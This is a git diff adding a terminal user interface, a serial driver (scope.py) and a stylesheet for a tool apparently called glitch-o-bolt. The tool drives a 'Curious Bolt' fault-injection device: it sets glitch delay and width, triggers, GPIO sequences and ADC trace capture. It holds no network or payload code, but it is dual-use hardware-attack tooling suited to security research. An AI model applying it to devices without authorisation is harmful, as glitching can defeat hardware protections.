+        if(button_id == "btn_glitch"):
+            functions.launch_glitch()
+        if(button_id == "save_config"):
+            functions.save_config(self)
+        if(button_id == "toggle_trigger"):
+            functions.toggle_trigger(self, int(parts[1])) 
+        if(button_id == "change_val"):
+            functions.on_button_pressed(self, event)
+        if(button_id == "save_val"):
+            functions.on_save_button_pressed(self, event) 
+        if(button_id == "custom_function"):
+            functions.run_custom_function(self, event) 
+        if(button_id == "save_uart"):
+            functions.save_uart_settings(self, event) 
+
+    def on_switch_changed(self, event: Switch.Changed) -> None:
+        """Handle switch toggle events"""
+        switch = event.switch
+        
+        # Only handle switches with our specific class
+        if "trigger-switch" in switch.classes:
+            try:
+                # Extract index from switch ID
+                index = int(switch.id.split("_")[-1])
+                new_state = bool(event.value)  # Ensure boolean
+                config.triggers[index][1] = new_state  # Update config
+                functions.set_triggers()                  
+            except (ValueError, IndexError, AttributeError) as e:
+                if functions.DEBUG_MODE:
+                    functions.log_message(f"[ERROR] Failed to process trigger switch: {str(e)}")
+
+        if "condition-switch" in switch.classes:
+            try:
+                # Extract index from switch ID
+                index = int(switch.id.split("_")[-1])
+                new_state = bool(event.value)  # Ensure boolean
+                
+                # Update config
+                config.conditions[index][1] = new_state
+                
+                if functions.DEBUG_MODE:
+                    functions.log_message(f"[CONDITION] Updated switch {index} to {new_state}")
+                    functions.log_message(f"[CONDITION] Current states: {[cond[1] for cond in config.conditions]}")
+                    
+            except (ValueError, IndexError, AttributeError) as e:
+                if functions.DEBUG_MODE:
+                    functions.log_message(f"[ERROR] Failed to process condition switch: {str(e)}")
+
+        if "logging-switch" in switch.classes:
+            if functions.DEBUG_MODE:
+                curr_time = functions.get_config_value("log_time")
+                functions.log_message(f"[FUNCTION] logging toggled: {curr_time}")
+            
+            if bool(event.value) is True:
+                functions.set_log_time(int(time.time()))  # Uses the 'time' module
+            else:
+                functions.set_log_time(0)
+            
+            main_content = self.query_one("#main_content")
+            log_time = functions.get_config_value("log_time")  # Renamed to avoid conflict
+            port = str(functions.get_config_value("serial_port"))
+            baud = str(functions.get_config_value("baud_rate"))
+
+            if log_time == 0:  # Now using 'log_time' instead of 'time'
+                main_content.border_title = f"{port} {baud}"
+            else:
+                main_content.border_title = f"{port} {baud} \\[{log_time}.log]"
+
+        if "glitch-switch" in switch.classes:
+            if functions.DEBUG_MODE:
+                curr_time = functions.get_config_value("glitch_time")
+                functions.log_message(f"[FUNCTION] glitching toggled: {curr_time}")
+            
+            if bool(event.value) is True:
+                functions.set_glitch_time(int(time.time()))  # Uses the 'time' module
+            else:
+                functions.set_glitch_time(0)
+
+    def compose(self) -> ComposeResult:
+        with Vertical(classes="top_section"):
+            # Use Vertical here instead of Horizontal
+            with Vertical(classes="top_left"):
+                
+                # UART Box - appears second (below)
+                with Vertical(classes="uart_box") as uart_box:
+                    uart_box.border_title = "uart settings"
+
+                    with Horizontal(classes="onerow"):
+                        yield Static("port:", classes="uart_label")
+                        yield Input(
+                            classes="control_input",
+                            id="uart_port_input",
+                            name="uart_port_input",
+                            value=str(functions.get_config_value("serial_port"))
+                        )
+
+                    with Horizontal(classes="onerow"):
+                        yield Static("baud:", classes="uart_label")
+                        yield Input(
+                            classes="control_input",
+                            id="baud_rate_input",
+                            name="baud_rate_input",
+                            value=str(functions.get_config_value("baud_rate"))
+                        )
+                        yield Button("save", classes="btn_save", id="save_uart", name="save_uart")
+
+                # Config Box - appears first (on top)
+                with Vertical(classes="config_box") as config_box:
+                    config_box.border_title = "config"
+
+                    with Horizontal(classes="onerow"):
+                        yield Static("file:", classes="uart_label")
+                        yield Input(
+                            classes="control_input",
+                            id="config_file_input",
+                            name="config_file_input",
+                            value=str(functions.get_config_value("conFile"))
+                        )
+                    with Horizontal(classes="onerow"):
+                        yield Button("save", classes="btn_save", id="save_config", name="save_config")
+
+            yield Static("glitch-o-bolt v2.0", classes="program_name")
+            yield Static(" ")  # Show blank space
+            
+            for name in control_names:
+                with Horizontal(classes="control_row"):
+                    yield Static(f"{name}:", classes="control_label")
+                    for amount in [-100, -10, -1]:
+                        yield Button(str(amount), classes=f"btn btn{amount}", name=f"change_val-{name}_{amount}")
+
+                    yield Input(
+                        classes="control_input",
+                        value=str(functions.get_config_value(name)),  
+                        type="integer",
+                        id=f"{name}_input"  # Use `id` instead of `name`
+                    )
+                    yield Button("save", classes="btn_save", name=f"save_val-{name}_save")
+
+                    for amount in [1, 10, 100]:
+                        yield Button(f"+{amount}", classes=f"btn btn-{amount}",  name=f"change_val-{name}_{amount}")
+
+            with Horizontal(classes="top_right"):
+                with Vertical(classes="switch_box") as switch_box:
+                    #yield Static("glitch", classes="switch_title")
+                    yield Button("glitch", classes="btn_glitch", name=f"btn_glitch")
+                    yield Switch(classes="glitch-switch", id="glitch-switch", animate=False)
+
+                # Create and store DataTable for later updates
+                self.status_box = DataTable(classes="top_box", name="status_box")
+                self.status_box.border_title = "status"
+                self.status_box.border_subtitle = "stopped"
+                self.status_box.styles.border_subtitle_color = "#B13840"
+                self.status_box.show_header = False
+                self.status_box.show_cursor = False
+
+                self.status_box.add_columns("Attribute", "Value")
+
+                # Add rows for config values
+                self.status_box.add_row(" length: ", str(functions.get_config_value("length")), key="row1")
+                self.status_box.add_row(" repeat: ", str(functions.get_config_value("repeat")), key="row2")
+                self.status_box.add_row("  delay: ", str(functions.get_config_value("delay")), key="row3")
+                self.status_box.add_row("elapsed: ", str(functions.get_glitch_elapsed()), key="row4")
+
+                yield self.status_box  # Yield the stored DataTable
+        
+        with Horizontal(classes="main_section"):
+            with Vertical(classes="left_sidebar"):
+                sidebar_content = Vertical(classes="sidebar_triggers_content")
+                sidebar_content.border_title = "triggers"
+                
+                with sidebar_content:
+                    with Grid(classes="sidebar_triggers"):                  
+                        # Add rows with switches
+                        functions.ensure_triggers_exist()
+                        for i in range(8):
+                            yield Static(f"{i} -")
+                            yield Static(f"{functions.get_trigger_string(i)}", id=f"trigger_symbol_{i}", classes="sidebar_trigger_string")
+                            yield Switch(
+                                classes="trigger-switch sidebar_trigger_switch",
+                                value=functions.get_trigger_value(i),
+                                animate=False,
+                                id=f"trigger_switch_{i}"
+                            )
+                            yield Button("^v-", classes="btn_toggle_1", name=f"toggle_trigger-{i}")
+
+                
+                if hasattr(config, "conditions") and config.conditions:
+                    sidebar_content2 = Vertical(classes="sidebar_conditions_content")
+                    sidebar_content2.border_title = "conditions"
+                    sidebar_content2.styles.height = len(config.conditions) + 1
+
+                    with sidebar_content2:
+                        with Grid(classes="sidebar_conditions"):
+                            for i in range(len(config.conditions)):
+                                yield Static(f"{functions.get_condition_string(i)[:5]} ")
+                                
+                                if config.conditions[i][2] != "":
+                                    yield Switch(
+                                        id=f"condition_switch_{i}",
+                                        classes="condition-switch sidebar_trigger_switch",  # Added specific class
+                                        value=functions.get_condition_value(i),
+                                        animate=False
+                                    )
+                                else:
+                                    yield Static(" ")
+                                    
+                                yield Button("run", classes="btn_toggle_1", name=f"custom_function-{i}")
+                sidebar_content3 = Vertical(classes="sidebar_settings_content")
+                sidebar_content3.border_title = "misc"
+                with sidebar_content3:
+                    with Grid(classes="sidebar_settings_switches"):                  
+                        # Add rows with switches
+                        yield Static(f"uart")
+                        yield Switch(classes="sidebar_trigger_switch", value=False, animate=False, id="uart_switch")
+
+                        yield Static(f"logging")
+                        yield Switch(classes="logging-switch sidebar_trigger_switch", value=False, animate=False)
+
+                    # Centre the exit button
+                    with Vertical(classes="centre_settings_buttons"):
+                        yield Button("clear main", classes="btn_settings", name="clear_button")
+                    with Vertical(classes="centre_settings_buttons"):    
+                        yield Button("exit", classes="btn_settings", name="exit_button")
+
+
+            global text_area  # Use global reference
+            with Vertical(id="main_content", classes="main_content") as main_content:
+                port = str(functions.get_config_value("serial_port"))
+                baud = str(functions.get_config_value("baud_rate"))
+
+                if functions.get_config_value("log_time") == 0:
+                    main_content.border_title = f"{port} {baud}"
+                else:
+                    time = str(functions.get_config_value("log_time"))
+                    main_content.border_title = f"{port} {baud} \\[{time}.log]"
+
+                # Use Log() widget instead of TextArea for scrollable content
+                functions.text_area = Log(classes="scrollable_log")
+                yield functions.text_area  # Make it accessible later
+                
+                with Horizontal(classes="input_container") as input_row:
+                    yield Static("$> ", classes="input_prompt")
+                    self.input_field = Input(classes="input_area", placeholder="send to uart", id="command_input" )  # Store reference
+                    yield self.input_field
+
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser()
+    parser.add_argument("-c", "--config", default="config.py", help="Path to config file")
+    args = parser.parse_args()
+
+    if not os.path.exists(args.config):
+        print(f"Config file '{args.config}' not found. Creating an empty one...")
+        with open(args.config, "w") as f:
+            pass  # Creates a blank file
+
+    load_config(args.config)
+    import config
+    import functions
+    config.CONFILE = args.config
+    functions.set_config(config)
+
+    app = LayoutApp()
+    set_app_instance(app)  # Pass the app instance to config
+    app.run()
\ No newline at end of file
diff --git a/img/main_tagged.png b/img/main_tagged.png
new file mode 100644
index 0000000..b703c0d
--- /dev/null
+++ b/img/main_tagged.png
Binary files differ
diff --git a/scope.py b/scope.py
new file mode 100644
index 0000000..c6b6652
--- /dev/null
+++ b/scope.py
@@ -0,0 +1,328 @@
+import logging
+import serial
+from serial.tools.list_ports import comports
+from typing import Union, List
+
+class ADCSettings():
+    def __init__(self, dev:serial) -> None:
+        self._dev = dev
+        self._clk_freq = 25000000
+        self._delay = 0
+
+    @property
+    def clk_freq(self) -> int:
+        """
+        Get ADC CLK Frequency
+        """
+        return self._clk_freq
+    
+    @clk_freq.setter
+    def clk_freq(self, freq:int) -> None:
+        """
+        Set ADC CLK Frequency, valid between 0.5kHz and 31.25MHz
+        """
+        BASE_CLK = 250000000
+        pio_freq = freq*4
+        divider = BASE_CLK/pio_freq
+        integer = int(divider)
+        frac = int((divider-integer)*256)
+        if frac == 256:
+            frac = 0
+            integer += 1
+        self._dev.write(f":ADC:PLL {integer},{frac}\n".encode("ascii"))
+        self._clk_freq = BASE_CLK/(integer+frac/256)/4
+    
+    @property
+    def delay(self) -> int:
+        """
+        Get delay between trigger and start of sampling in cycles (8.3ns)
+        """
+        return self._delay
+    
+    @delay.setter
+    def delay(self, delay) -> None:
+        """
+        Set delay between trigger and start of sampling in cycles (8.3ns)
+        """
+        self._delay = delay
+        self._dev.write(f":ADC:DELAY {int(delay)}\n".encode("ascii"))
+
+class GlitchSettings():
+    def __init__(self, dev:serial) -> None:
+        self._dev = dev
+        self._offset = 10
+        self._repeat = 10
+
+    @property
+    def ext_offset(self) -> int:
+        """
+        Delay between trigger and start of glitch in cycles (8.3ns)
+        """
+        return self._offset
+    
+    @ext_offset.setter
+    def ext_offset(self, offset:int) -> None:
+        """
+        Set delay between trigger and start of glitch in cycles (8.3ns)
+        """
+        self._dev.write(f":GLITCH:DELAY {int(offset)}\n".encode("ascii"))
+        self._offset = offset
+    
+    @property
+    def repeat(self) -> int:
+        """Width of glitch in cycles (approx = 8.3 ns * width)"""
+        return self._repeat
+
+    @repeat.setter
+    def repeat(self, width:int) -> None:
+        """
+        Set width of glitch in cycles (8.3ns)
+        """
+        self._dev.write(f":GLITCH:LEN {int(width)}\n".encode("ascii"))
+        self._repeat = width
+
+class GPIOSettings():
+    def __init__(self, dev:serial) -> None:
+        self.gpio = []
+        for i in range(0, 4):
+            self.gpio.append(list())
+        self.dev = dev
+        self.MAX_CHANGES = 255
+        self.MAX_DELAY = 2147483647
+        
+    def add(self, pin:int, state:bool, delay:int=None, seconds:float=None) -> None:
+        """
+        Add state change to gpio
+
+        Arguments
+        ---------
+        pin : int
+            Which pin to add state change to, [0,3]
+        state : bool
+            What the state of the pin should be
+        delay : int
+            Number of cycles delay after state change, each cycle is 8.3ns
+        seconds : float
+            Seconds of delay after state change if delay is not provided
+
+        Returns
+        -------
+        None        
+        """
+        if pin < 0 or pin > 3:
+            raise ValueError("Pin must be between 0 and 3")
+        
+        if len(self.gpio[pin]) >= self.MAX_CHANGES:
+            raise ValueError("Pin reached max state changes")
+
+        if delay is None:
+            if seconds is None:
+                raise ValueError("delay or seconds must be provided")
+            delay = int(seconds*100000000)
+
+        if delay > self.MAX_DELAY:
+            raise ValueError("delay exceeds maximum")
+        
+        self.gpio[pin].append((delay << 1) | state)
+    
+    def reset(self) -> None:
+        """
+        Reset all GPIO state changes
+
+        Arguments
+        ---------
+        None
+
+        Returns
+        -------
+        None
+        """
+        self.dev.write(b":GPIO:RESET\n")
+        for i in range(0, 4):
+            self.gpio[i].clear()
+
+    def upload(self) -> None:
+        """
+        Upload GPIO changes to device
+
+        Arguments
+        ---------
+        None
+
+        Returns
+        -------
+        None
+        """
+        self.dev.write(b":GPIO:RESET\n")
+        for i in range(0, 4):
+            for item in self.gpio[i]:
+                self.dev.write(f":GPIO:ADD {i},{item}\n".encode("ascii"))
+    
+
+class Scope():
+    RISING_EDGE = 0
+    FALLING_EDGE = 1
+
+    def __init__(self, port=None) -> None:
+        if port is None:
+            ports = comports()
+            matches = [p.device for p in ports if p.interface == "Curious Bolt API"]
+            if len(matches) != 1:
+                matches = [p.device for p in ports if p.product == "Curious Bolt"]
+                matches.sort()
+                matches.reverse()
+                if len(matches) != 2:
+                    raise IOError('Curious Bolt device not found. Please check if it\'s connected, and pass its port explicitly if it is.')
+            port = matches[0]
+
+        self._port = port
+        self._dev = serial.Serial(port, 115200*10, timeout=1.0)
+        self._dev.reset_input_buffer()
+        self._dev.write(b":VERSION?\n")
+        data = self._dev.readline().strip()
+        if data is None or data == b"":
+            raise ValueError("Unable to connect")
+        print(f"Connected to version: {data.decode('ascii')}")
+        self.adc = ADCSettings(self._dev)
+        self.glitch = GlitchSettings(self._dev)
+        self.io = GPIOSettings(self._dev)
+
+    def arm(self, pin:int=0, edge:int=RISING_EDGE) -> None:
+        """
+        Arms the glitch/gpio/adc based on trigger pin
+
+        Arguments
+        ---------
+        pin : int
+            Which pin to use for trigger [0:7]
+        edge : int
+            On what edge to trigger can be RISING_EDGE or FALLING_EDGE
+
+        Returns
+        -------
+        None
+        """
+        if pin < 0 or pin > 7:
+            raise ValueError("Pin invalid")
+        
+        if edge != self.RISING_EDGE and edge != self.FALLING_EDGE:
+            raise ValueError("Edge invalid")
+
+        self._dev.write(f":TRIGGER:PIN {pin},{edge}\n".encode("ascii"))
+
+    def trigger(self) -> None:
+        """
+        Immediately trigger the glitch/gpio/adc
+
+        Arguments
+        ---------
+        None
+
+        Returns
+        -------
+        None
+        """
+        self._dev.write(b":TRIGGER:NOW\n")
+    
+    def default_setup(self) -> None:
+        """
+        Load some safe defaults into settings
+        """
+        self.glitch.repeat = 10
+        self.glitch.ext_offset = 0
+        self.adc.delay = 0
+        self.adc.clk_freq = 10000000
+        self.io.reset()
+
+    def con(self) -> None:
+        """
+        Connect to device if serial port is not open
+        """
+        if not self._dev.is_open:
+            self._dev.open()
+
+    def dis(self) -> None:
+        """
+        Disconnect from serial port
+        """
+        self._dev.close()
+
+    def get_last_trace(self, as_int:bool=False) -> Union[List[int], List[float]]:
+        """
+        Returns the latest captured data from ADC
+
+        Arguments
+        ---------
+        as_int : bool
+            Returns the data as raw 10bit value from the adc
+        
+        Returns
+        -------
+        data : list<int>
+        
+        """
+        self._dev.reset_input_buffer() #Clear any data
+        self._dev.write(b":ADC:DATA?\n")
+
+        data = self._dev.readline()
+        if data is None:
+            return []
+        data = data.decode("ascii").strip()
+        if "ERR" in data:
+            logging.warning(f"Received: {data}")
+            return []
+        data = data.split(",")
+        data = [x for x in data if x != '']
+        if as_int:
+            return [int(x) for x in data]
+        volt_per_step = 2 / 10 / 1024  # 2V pk-pk, 10x amplified from source, in 10-bit ADC
+        return [(float(x)-512)*volt_per_step for x in data]
+
+    def plot_last_trace(self, continuous=False):
+        try:
+            import matplotlib.pyplot as plt 
+        except ImportError:
+            print("Dependencies missing, please install python package matplotlib")
+            return
+        plt.ion()
+        fig = plt.figure()
+        ax = fig.add_subplot(111)
+        ax.set_xlabel("Time since trigger (us)")
+        ax.set_ylabel("Voltage difference (mV)")
+        us_per_measurement = 1e6 / self.adc.clk_freq
+        line, = ax.plot([float(x) * us_per_measurement for x in range(50000)], [0] * 50000, 'b-')
+
+        while True:
+            try:
+                res = self.get_last_trace()
+                if len(res) != 50000:
+                    print(f"Got {len(res)} entries, skipping")
+                    if continuous:
+                        continue
+                    else:
+                        break
+                trace = [x*1000 for x in res]
+                line.set_ydata(trace)
+                ax.relim()
+                ax.autoscale_view()
+                fig.canvas.draw()
+                fig.canvas.flush_events()
+                if continuous:
+                    self.trigger()
+                    continue
+                else:
+                    plt.show()
+                    break
+            except KeyboardInterrupt:
+                break
+
+    def update(self):
+        self._dev.write(b":BOOTLOADER\n")
+    
+
+
+if __name__ == "__main__":
+    s = Scope()
+    s.default_setup()
+    s.trigger()
+    s.plot_last_trace(continuous=True)
\ No newline at end of file
diff --git a/style.tcss b/style.tcss
new file mode 100644
index 0000000..78202e1
--- /dev/null
+++ b/style.tcss
@@ -0,0 +1,351 @@
+/***
+ * colorscheme: https://www.schemecolor.com/metagross-pokemon.php
+ * Name: Police Blue       Hex: #2F596D
+ * Name: Crystal Blue      Hex: #5E99AE
+ * Name: Pastel Blue       Hex: #9DC3CF
+ * Name: Medium Carmine    Hex: #B13840
+ * Name: Ash Gray          Hex: #B3B8BB
+ * Name: Chinese Black     Hex: #141618
+ ***/
+
+    Screen {
+        layout: vertical;
+        background: #141618;
+    }
+    
+    .top_section {
+        height: 6;
+        width: 100%;
+        layout: vertical;
+    }
+
+    .program_name {
+        text-align: center;
+        width: 100%;
+        height: 1;
+        color: #9DC3CF;
+    }
+
+    .control_row {
+        width: 1fr;
+        height: 1;
+        layout: horizontal;
+        align: center middle;
+    }
+
+    .control_label {
+        width: 8;
+        text-align: right;
+        padding-right: 1;
+    }
+
+    .uart_label {
+        width: 6;
+        text-align: right;
+        padding-right: 1;
+    }
+
+    .btn {
+        width: 6;
+        min-width: 6;
+        height: 1;
+        margin: 0;
+        padding: 0;
+        border: none;
+        text-align: center;
+    }
+
+    .btn-100 { width: 6; min-width: 6; }
+    .btn-10 { width: 5; min-width: 5; }
+    .btn-1 { width: 4; min-width: 4; }
+
+    .btn_save {
+        width: 6;
+        min-width: 6;
+        height: 1;
+        border: none;
+        text-align: center;
+        background: #2F596D;
+        color: #9DC3CF;
+    }
+
+    .btn_glitch {
+        width: 8;
+        min-width: 8;
+        height: 1;
+        border: none;
+        text-align: center;
+        background: #2F596D;
+        color: #9DC3CF;
+        margin-left: 1;
+    }
+
+    #save_uart{ margin-left: 1; }
+    #save_config{ margin-left: 20; }
+
+    .btn_toggle_1 {
+        width: 5;
+        min-width: 5;
+        height: 1;
+        border: none;
+        text-align: center;
+        background: #2F596D;
+        color: #9DC3CF;
+    }
+
+    .btn_settings {
+        /*width: 5;*/
+        min-width: 5;
+        height: 1;
+        border: none;
+        text-align: center;
+        background: #2F596D;
+        color: #9DC3CF;
+    }
+
+   .switch_box {
+        height: 6;  /* Reduce the height of the container for better alignment */
+        width: 12;  /* Add a width to the box */
+        padding: 0; /* Add padding for the switch itself */
+        border: round #2F596D;
+        text-align: center;
+        border-title-color: #2F596D;
+        border-title-style: bold
+    }
+
+    .uart_box {
+        height: 3;  /* Reduce the height of the container for better alignment */
+        width: 27;  /* Add a width to the box */
+        padding: 0; /* Add padding for the switch itself */
+        border-top: round #2F596D;
+        border-right: round #2F596D;
+        border-title-color: #9DC3CF;
+        text-align: center;
+        border-title-color: #2F596D;
+        border-title-style: bold;
+    }
+
+    .config_box {
+        height: 3;  /* Reduce the height of the container for better alignment */
+        width: 27;  /* Add a width to the box */
+        padding: 0; /* Add padding for the switch itself */
+        border-top: round #2F596D;
+        border-right: round #2F596D;
+        text-align: center;
+        border-title-color: #2F596D;
+        border-title-style: bold;
+    }
+
+
+    .switch_title {
+        width: 100%;
+        color: #9DC3CF;
+        padding-bottom: 0;  /* Add some spacing below the title */
+        text-align: center;
+    }
+
+    .switch {
+        background: #5E99AE;
+        text-align: center;
+        border: none;
+    }
+
+    #custom-switch > .switch--slider {
+        color: #B13840;
+        background: #141618;
+    }
+
+    #custom-switch.-on > .switch--slider {
+        color: #5E99AE;
+    }
+    #glitch-switch > .switch--slider {
+        color: #B13840;
+        background: #141618;
+    }
+
+    #glitch-switch.-on > .switch--slider {
+        color: #5E99AE;
+    }
+
+    .control_input {
+        width: 12;
+        height: 1;
+        border: none;
+        text-align: center;
+    }
+
+    #baud_rate_input{ width: 13; }
+
+    #uart_port_input{ width: 20; }
+    #config_file_input{ width: 20; }
+    .onerow {
+        height: 1;
+    }
+
+    .top_text {
+        width: 1fr;
+    }
+
+    .top_right {
+        width: 37;
+        height: 6;
+        dock: right;
+        color: #9DC3CF;
+        border: none;
+    }
+
+    .top_left {
+        width: 30;
+        height: 6;
+        dock: left;
+        color: #9DC3CF;
+        border: none;
+        padding: 0;
+    }
+    
+    .top_box {
+        width: 24;
+        height: 6;
+        dock: right;
+        color: #9DC3CF;
+        border: double #2F596D;
+        border-title-color: #2F596D;
+        border-title-style: bold
+    }
+    
+    .main_section {
+        layout: horizontal;
+        width: 100vw;
+        height: 1fr;
+        /* border: solid; */
+    }
+    
+    .left_sidebar {
+        width: 16;
+        layout: vertical;
+    }
+
+    .sidebar_triggers_content{
+        height: 9;
+        border-top: round #2F596D;
+        border-right: round #2F596D;
+        border-title-color: #2F596D;
+        border-title-style: bold
+    }
+
+    .sidebar_conditions_content{
+        /*height: auto;*/
+        border-top: round #2F596D;
+        border-right: round #2F596D;
+        border-title-color: #2F596D;
+        border-title-style: bold
+    }
+
+    .sidebar_settings_content{
+        height: 1fr;
+        border-top: round #2F596D;
+        border-right: round #2F596D;
+        border-title-color: #2F596D;
+        border-title-style: bold
+    }
+    
+    .sidebar_triggers {
+        height: 9;
+        color: #9DC3CF;
+        border: none;
+        layout: grid;
+        grid-size: 4 8;
+        grid-columns: 3 3 4 6;
+    }
+    .sidebar_trigger_string{
+        margin-left: 1; 
+    }
+
+    .sidebar_conditions {
+        color: #9DC3CF;
+        border: none;
+        layout: grid;
+        grid-size: 3;
+        grid-columns: 6 4 6;
+        grid-rows: 1;
+    }
+
+    .sidebar_settings_switches{
+        color: #9DC3CF;
+        height: 2;
+        border: none;
+        layout: grid;
+        grid-size: 2;
+        grid-columns: 12 4;
+        grid-rows: 1;
+        /*border: solid;*/
+    }
+
+    .centre_settings_buttons {
+        align: center top;
+        text-align: center;
+        content-align: center middle;
+        layout: vertical;
+        width: 100%;
+        height: 2;
+        padding-top: 1;
+    }
+
+    .sidebar_trigger_switch{
+        padding:0;
+        border:none;
+        width:3;
+    }
+
+    .sidebar_trigger_switch > .switch--slider {
+        color: #B13840;
+        background: #141618;
+    }
+
+    .sidebar_trigger_switch.-on > .switch--slider {
+        color: #5E99AE;
+    }
+
+    .main_content {
+        width: 1fr;
+        border-top: round #2F596D;
+        border-title-color: #5E99AE;
+        border-title-align: left;
+        border-title-style: bold;
+        layout: vertical;
+        /*border: solid red;*/
+    }
+    .scrollable_log {
+        height: 1fr;
+        max-width: 100vw;
+        overflow-y: scroll;
+        background: #141618;
+        color: #B3B8BB;
+        padding: 0;
+        overflow-x: auto;
+        scrollbar-color-active: #5E99AE;
+        scrollbar-color-hover: #5E99AE;
+        scrollbar-color: #2F596D;
+        /*border: solid #888;*/
+    }
+    
+    .input_container {
+        width: 100%;
+        height: 1;
+        layout: horizontal;
+    }
+
+    .input_prompt {
+        width: 2;
+        text-align: right;
+        background: #141618;
+        color: #9DC3CF;
+    }
+
+    .input_area {
+        height: 1;
+        width: 1fr;
+        border: none;
+        background: #141618;
+        color: #9DC3CF;
+    }
\ No newline at end of file